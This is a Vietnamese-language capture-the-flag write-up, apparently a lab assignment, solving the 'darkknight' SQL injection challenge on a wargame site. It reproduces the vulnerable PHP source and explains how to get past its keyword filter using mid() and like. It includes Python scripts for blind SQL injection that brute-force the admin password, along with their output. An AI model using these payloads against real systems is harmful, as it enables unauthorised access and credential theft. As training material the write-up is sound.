```php
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");
  if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe");
  $query = "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>";

  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight");
  highlight_file(__FILE__);
?>
```

Nhìn source code ta biết cách hoạt động của filter. Nhận thấy không dùng được substr, ascii và dấu bằng. Thay thế substr() bằng mid() và "=" bằng like.

---

query : **select id from prob_darkknight where id='guest' and pw='' and no=0 or id like ("admin")**

Hello admin

```php
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");
  if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe");
  $query = "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>";

  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight");
  highlight_file(__FILE__);
?>
```

Tương tự như những bài trước ta có đoạn code tìm độ dài của pw:

```python
for i in range(1, 100):
    payload= "0 or id like \"admin\" and length(pw) like " + str(i) + "#"
    #print (payload)
    payload = urllib.quote(payload)
    url = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?no="+payload
    opener = urllib2.build_opener(urllib2.HTTPHandler)
    request = urllib2.Request(url)
    request.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
    request.add_header('Cookie', 'PHPSESSID=fj1a9mg2u3bkn3gnaq4gu7t0hh')
    request.get_method = lambda:'GET'
    data = opener.open(request)
    data = data.read()
    if bytes("Hello admin", 'utf-8') in data:
        #print("len: ", str(i))
        leng = i
        break
    else:
        pass
```

Kết quả nhận được

```
PS C:\Users\xkhan> & python d:/TinHoc/NT213.L21.ANTN/Baitap/BTLab3/Darkknight.py
8
```

Tiếp theo là code brute force pw. Ở đây vì k dùng được ascii nên ta sẽ dùng ord để thay thế.

```python
key = ""
print (leng)
for i in range(1, leng+1):
    for j in range(48,122):

        payload = "1 || id like \"admin\" && ord(mid(pw, {}, 1)) like {} #".format(i, j)
        payload = urllib.quote(payload)
        url = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?no="+payload

        opener = urllib2.build_opener(urllib2.HTTPHandler)
        request = urllib2.Request(url)
        request.add_header('Cookie', 'PHPSESSID=fj1a9mg2u3bkn3gnaq4gu7t0hh')
        request.get_method = lambda:'GET'
        data = opener.open(request)
        data = data.read()

        if bytes("Hello admin", 'utf-8') in data:
            print("Password: ",chr(j))
            key += chr(j)
            break

        time.sleep(0.2)
print(key)
```

Kết quả nhận được

```
PS C:\Users\xkhan> & python d:/TinHoc/NT213.L21.ANTN/Baitap/BTLab3/Darkknight.py
8
8
Password:  0
Password:  b
Password:  7
Password:  0
Password:  e
Password:  a
Password:  1
Password:  f
0b70ea1f
```

Thử kết quả trên web

---

query : **select id from prob_darkknight where id='guest' and pw='0b70ea1f' and no=**

DARKKNIGHT Clear!

```php
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");
  if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe");
  $query = "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>";

  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight");
  highlight_file(__FILE__);
?>
```